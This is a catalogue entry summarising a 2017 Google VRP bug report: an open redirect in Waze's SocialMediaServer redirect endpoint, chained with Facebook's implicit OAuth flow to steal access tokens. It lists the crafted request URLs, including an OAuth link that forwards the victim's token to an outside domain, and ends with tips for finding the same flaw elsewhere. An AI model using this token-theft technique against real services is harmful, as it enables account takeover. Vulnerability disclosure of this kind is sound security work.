# Google VRP : oAuth token stealing

Waze's SocialMediaServer redirect endpoint was an open redirect, letting attackers steal Facebook OAuth access tokens via redirect_uri manipulation.

- Payout: unconfirmed
- Severity: high
- Program: Google VRP
- Credited: Harsh Jaiswal
- Write-up quality: 6/10
- Original: http://bugdisclose.blogspot.com/2017/08/google-vrp-oauth-token-stealing.html
- Library page: https://bugbountylibrary.com/r/blog%3Abugdisclose-blogspot-com-2017-08-google-vrp-oauth-token-stealing-html
- Tags: domain:web impact:ato impact:data-leak kind:bounty platform:blog sev:high tech:oauth technique:chained technique:recon vuln:auth-bypass vuln:open-redirect

**Target:** Waze SocialMediaServer OAuth redirect endpoint (iOS/Android social login)
**Root cause:** The /SocialMediaServer/redirect endpoint accepted an arbitrary `redirect` parameter and forwarded the OAuth response (including access_token in fragment) to it without validation.
**Steps:**
1. Observe Twitter login flow: `GET http://www.waze.com/SocialMediaServer/social/connect?id=twitter&session_cookies=xxx` returns 302 to Twitter authorize with `redirect_uri=http://www.waze.com/SocialMediaServer/redirect?redirect=http://somdomain.waze.com...`
2. Note the `redirect` param is attacker-controllable and unvalidated (open redirect).
3. Fuzz path variants: `GET http://www.waze.com/SocialMediaServer/social/facebook/connect?id=twitter&session_cookies=xxx` returns 302.
4. Craft Facebook OAuth URL: `https://m.facebook.com/v2.8/dialog/oauth?...&redirect_uri=https://waze.com/SocialMediaServer/redirect?redirect=http://harshjaiswal.com&response_type=token,signed_request...`
5. Victim authorizes; token lands at `http://harshjaiswal.com/?...#access_token=EAAAAT...`
**How found:** Noticed the `redirect` parameter in the OAuth redirect_uri was unvalidated (open redirect). Realized Twitter's oauth_verifier was low-value, so pivoted to Facebook which uses implicit flow returning access_token. Guessed alternate path `/social/facebook/connect` after `/social/connect?id=facebook` returned 500.
**Exploitation:** Attacker sends crafted Facebook OAuth dialog link with redirect_uri pointing to Waze's open redirect, which forwards the token-bearing fragment to attacker's domain, yielding victim's Facebook access_token.
**Insight:** When an OAuth redirect_uri wraps a nested `redirect` param, test it as an open redirect — and prefer providers using implicit flow (Facebook) over code flow (Twitter) since the token lands directly in the fragment.